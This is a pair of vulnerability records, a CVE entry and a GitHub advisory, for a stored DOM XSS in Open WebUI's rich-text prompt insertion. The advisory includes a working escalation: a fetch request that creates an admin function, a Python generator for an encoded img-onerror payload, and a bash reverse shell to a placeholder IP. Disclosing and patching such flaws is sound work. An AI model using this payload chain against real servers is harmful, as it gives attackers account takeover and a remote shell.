{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. In versions 0.6.34 and below, the functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when \u0027Insert Prompt as Rich Text\u0027 is enabled, since the prompt body is assigned to the DOM sink .innerHtml without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding / command to insert the prompt. This issue is fixed in version 0.6.35."
    }
  ],
  "id": "CVE-2025-64495",
  "lastModified": "2025-11-08T02:15:35.250",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-11-08T02:15:35.250",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/open-webui/open-webui/commit/eb9c4c0e358c274aea35f21c2856c0a20051e5f1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-w7xj-8fx7-wfch"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.34"
      },
      "package": {
        "ecosystem": "npm",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.34"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64495"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-07T15:25:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when \u0027Insert Prompt as Rich Text\u0027 is enabled, since the prompt body is assigned to the DOM sink `.innerHtml` without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding `/` command to insert the prompt.\n\n### Details\nThe affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348\n\n```js\n\texport const replaceCommandWithText = async (text) =\u003e {\n\t\tconst { state, dispatch } = editor.view;\n\t\tconst { selection } = state;\n\t\tconst pos = selection.from;\n\n\t\t// Get the plain text of this document\n\t\t// const docText = state.doc.textBetween(0, state.doc.content.size, \u0027\\n\u0027, \u0027\\n\u0027);\n\n\t\t// Find the word boundaries at cursor\n\t\tconst { start, end } = getWordBoundsAtPos(state.doc, pos);\n\n\t\tlet tr = state.tr;\n\n\t\tif (insertPromptAsRichText) {\n\t\t\tconst htmlContent = marked\n\t\t\t\t.parse(text, {\n\t\t\t\t\tbreaks: true,\n\t\t\t\t\tgfm: true\n\t\t\t\t})\n\t\t\t\t.trim();\n\n\t\t\t// Create a temporary div to parse HTML\n\t\t\tconst tempDiv = document.createElement(\u0027div\u0027);\n\t\t\ttempDiv.innerHTML = htmlContent;                                          // \u003c---- vulnerable\n```\n\nUser controlled HTML from the prompt body is assigned to `tempDiv.innerHTML` without (meaningful) sanitisation. `marked.parse` introduces some character limitations but does not sanitise the content, as stated in their README.\n\n\u003cimg width=\"1816\" height=\"498\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bd0980fc-ad87-460a-94b8-02bc94bea1a2\" /\u003e\n\n### PoC\nCreate a custom prompt as follows:\n\u003cimg width=\"3006\" height=\"1100\" alt=\"image\" src=\"https://github.com/user-attachments/assets/47de7a11-514d-48f9-8c6a-04ab1894f981\" /\u003e\n\nVia settings, ensure \u0027Insert Prompt as Rich Text\u0027 is enabled:\n\u003cimg width=\"2204\" height=\"1268\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f188065f-7c11-4f09-9ced-4e7d2e6f4d48\" /\u003e\n\nRun the command `/poc` via a chat window.\n\u003cimg width=\"2470\" height=\"1332\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5a112f51-210a-43f3-b999-915b1d0e6744\" /\u003e\n\nObserve the alert is triggered.\n\u003cimg width=\"2452\" height=\"1456\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fa15dbd6-44a7-4cfc-bd93-4cc56aac5eea\" /\u003e\n\n#### RCE\nSince admins can naturally run arbitrary Python code on the server via the \u0027Functions\u0027 feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing. \n\nThis can be accomplished by making them run the following fetch request:\n```js\nfetch(\"https://\u003cHOST\u003e/api/v1/functions/create\", {\n  method: \"POST\",\n  credentials: \"include\",\n  headers: {\n    \"Content-Type\": \"application/json\",\n    \"Accept\": \"application/json\"\n  },\n  body: JSON.stringify({\n    id: \"pentest_cmd_test\",\n    name: \"pentest cmd test\",\n    meta: { description: \"pentest cmd test\" },\n    content: \"import os;os.system(\u0027echo RCE\u0027)\"\n  })\n})\n```\nThis cannot be done directly because the `marked.parse` call the HTML is passed through will neutralise payloads containing quotes\n\u003cimg width=\"1718\" height=\"482\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6797efbd-4f2e-4570-ad9f-59a65dba1745\" /\u003e\nTo get around this strings must be manually constructed from their decimal values using `String.fromCodePoint`. The following Python script automates generating a viable payload from given JavaScript:\n```py\npayload2 = \"\"\"\nfetch(\"https://\u003cHOST\u003e/api/v1/functions/create\", {\n  method: \"POST\",\n  credentials: \"include\",\n  headers: {\n    \"Content-Type\": \"application/json\",\n    \"Accept\": \"application/json\"\n  },\n  body: JSON.stringify({\n    id: \"pentest_cmd_test\",\n    name: \"pentest cmd test\",\n    meta: { description: \"pentest cmd test\" },\n    content: \"import os;os.system(\u0027bash -c \\\\\\\\\u0027/bin/bash -i \u003e\u0026 /dev/tcp/x.x.x.x/443 0\u003e\u00261\\\\\\\\\u0027\u0027)\"\n  })\n})\n\"\"\".lstrip().rstrip()\n\nout = \"\"\n\nfor c in payload2:\n    out += f\"String.fromCodePoint({ord(c)})+\"\n\nprint(f\"\u003cimg src=x onerror=eval({out[:-1]})\u003e\")\n```\nAn admin that triggers the corresponding payload via a prompt command will trigger a Python function to run that runs a reverse shell payload, giving command line access on the server to the attacker.\n\u003cimg width=\"2476\" height=\"756\" alt=\"image\" src=\"https://github.com/user-attachments/assets/01f9e991-832a-4cfb-8c3e-3b2ce02cff15\" /\u003e\n\n\u003cimg width=\"2492\" height=\"1530\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d08eb48f-a688-41a1-9b52-e91df7ced929\" /\u003e\n\u003cimg width=\"1968\" height=\"916\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2ad6a19e-f151-4ac9-9903-0961e33fe42f\" /\u003e\n\n\n### Impact\nAny user running the malicious prompt could have their account compromised via malicious JavaScript that reads their session token from localstorage and exfiltrates it to an attacker controlled server.\n\nAdmin users running the malicious prompt risk exposing the backend server to remote code execution (RCE) since malicious JavaScript running via the vulnerability can be used to send requests as the admin user that run malicious Python functions, that may run operating system commands.\n\n### Caveats\nLow privilege users cannot create prompts by default, the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission is needed, which may be given out via e.g. a custom group. see: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions\n\nA victim user running the command to trigger the prompt needs to have the \u0027Insert Prompt as Rich Text\u0027 setting enabled via preferences for the vulnerability to trigger. The setting is off by default. Users with this setting disabled are unaffected.\n\n### Remediation\nSanitise the user controlled HTML with DOMPurify before assigning it to `.innerHtml`",
  "id": "GHSA-w7xj-8fx7-wfch",
  "modified": "2025-11-07T15:25:23Z",
  "published": "2025-11-07T15:25:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-w7xj-8fx7-wfch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/eb9c4c0e358c274aea35f21c2856c0a20051e5f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI vulnerable to Stored DOM XSS via prompts when \u0027Insert Prompt as Rich Text\u0027 is enabled resulting in ATO/RCE"
}